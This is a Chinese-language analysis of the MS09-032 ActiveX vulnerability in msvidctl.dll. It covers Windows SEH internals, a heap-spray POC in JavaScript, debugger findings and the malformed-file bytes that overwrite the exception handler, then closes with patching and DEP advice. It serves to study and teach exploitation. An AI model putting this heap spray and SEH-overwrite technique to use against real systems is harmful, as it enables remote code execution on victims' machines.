通过异常处理机制实现漏洞利用
字数 1863 2025-08-27 12:33:30
通过异常处理机制实现漏洞利用 - MS09-032漏洞分析与利用
0x1 MS09-032漏洞简介
MS09-032是微软DirectShow MPEG-2视频ActiveX控件中的远程代码执行漏洞,具体信息如下:
- 微软编号:MS09-032
- CVE编号:CVE-2008-0015
- 补丁号:KB 973346
- 受影响组件:msvidctl.dll(路径:C:\WINDOWS\system32\msvidctl.dll)
- 漏洞类型:参数传递错误导致的S.E.H覆盖漏洞
漏洞原理:程序员将传入参数buff误写为&buff,导致数据被写入错误的内存位置,恰巧该位置附近存放着S.E.H异常处理函数指针,可通过覆盖S.E.H并结合Heap spray技术实现利用。
0x2 Windows异常处理机制
S.E.H(Structure Exception Handler)基本结构
S.E.H是Windows异常处理机制的重要数据结构,每个S.E.H包含:
- 8字节大小(两个DWORD指针)
- 第一个DWORD:Next S.E.H recoder(指向下一个S.E.H的指针)
- 第二个DWORD:Exception handler(异常处理函数句柄)
S.E.H关键特性
- S.E.H结构体存放在系统栈中
- 线程初始化时自动安装一个S.E.H作为默认异常处理
- 栈中通常同时存在多个S.E.H
- 多个S.E.H通过链表指针在栈内形成单向链表(栈顶→栈底)
- 链表顶端的S.E.H通过T.E.B(线程环境块)0字节偏移处的指针标识
- 异常发生时,操作系统从T.E.B开始依次尝试异常处理函数
- 所有处理函数都失败时,系统使用默认异常处理函数(通常会弹出错误对话框并关闭程序)
0x3 实验环境准备
- 操作系统:Windows XP SP3
- 调试工具:
- OllyDbg(OD)
- IDA Pro
- 浏览器:IE7
- 漏洞文件:msvidctl.dll版本6.5.2600.5512
0x4 漏洞原理分析
POC代码分析
POC使用HTML页面触发漏洞,主要包含以下关键部分:
-
Heap Spray技术实现:
var nop="\u9090\u9090"; var shellcode="\u68fc\u0a6a\u1e38\u6368\ud189\u684f..."; // 弹窗shellcode // 生成1MB大小的nop滑板 while(nop.length<=0x100000/2) { nop+=nop; } nop=nop.substring(0,0x100000/2-32/2-4/2-shellcode.length-2/2); // 创建200个内存片(约200MB) var slide = new Array(); for(var i=0;i<200;i++) { slide[i] = nop + shellcode; } -
ActiveX控件触发:
var myObject=document.createElement('object'); DivID.appendChild(myObject); myObject.width='1'; myObject.height='1'; myObject.data='./logo.gif'; // 加载畸形文件触发异常 myObject.classid='clsid:0955AC62-BF2E-4CBA-A2B9-A63F772D46CF';
漏洞触发流程
- Heap Spray分配约200MB内存,覆盖0x0C0C0C0C地址处的数据
- 加载畸形MPEG-2文件触发异常
- 异常发生时,S.E.H的异常处理函数指针已被覆盖为0x0C0C0C0C
- 程序跳转到0x0C0C0C0C执行,该处已被nop指令覆盖
- EIP滑过nop后执行shellcode
关键漏洞点分析
通过调试发现:
-
异常发生在
msvidctl.dll的0x59F0D5A8地址处,指令为:cmp dword ptr [ebx+8], esi尝试读取无效内存地址
ds:[00000028]导致异常 -
漏洞根源函数位于
0x59F0D3BA,是一个递归函数 -
关键错误发生在
0x59F0D74D处的ReadFile调用:- 本应传递
[EBP+8](安全数组指针) - 实际传递了
EBP+8(指针地址本身) - 导致数据被写入错误的内存位置(
EBP+8而非[EBP+8])
- 本应传递
-
错误写入位置距离最近的S.E.H句柄仅48字节(S.E.H位于
0x01E0922C)
畸形文件构造
要在MPEG-2文件数据部分的41-48字节处放置:
- 0xFFFFFFFF(伪造Next S.E.H)
- 0x0C0C0C0C(覆盖异常处理函数指针)
这样当异常触发时,程序会跳转到0x0C0C0C0C执行shellcode。
0x5 漏洞利用总结
-
利用条件:
- 通过Heap Spray占领内存
- 构造特殊畸形文件
- 触发异常处理流程
-
利用关键:
- 利用参数传递错误覆盖S.E.H
- 精确控制覆盖位置和内容
- 结合Heap Spray提高命中率
-
防护机制绕过:
- Vista/2008系统虽有保护机制,但漏洞仍然存在
- 需要额外技术绕过保护执行shellcode
0x6 防御建议
- 及时安装微软安全补丁KB 973346
- 禁用或限制ActiveX控件执行
- 启用DEP(数据执行保护)等缓解措施
- 对浏览器进行安全加固,限制脚本执行权限
附录:相关技术术语
- Heap Spray:一种内存分配技术,通过大量分配包含shellcode的内存块,增加攻击成功率
- S.E.H:结构化异常处理,Windows处理程序错误的核心机制
- ActiveX:微软的组件对象模型技术,允许网页嵌入可执行内容
- DEP:数据执行保护,防止在非可执行内存区域执行代码的安全特性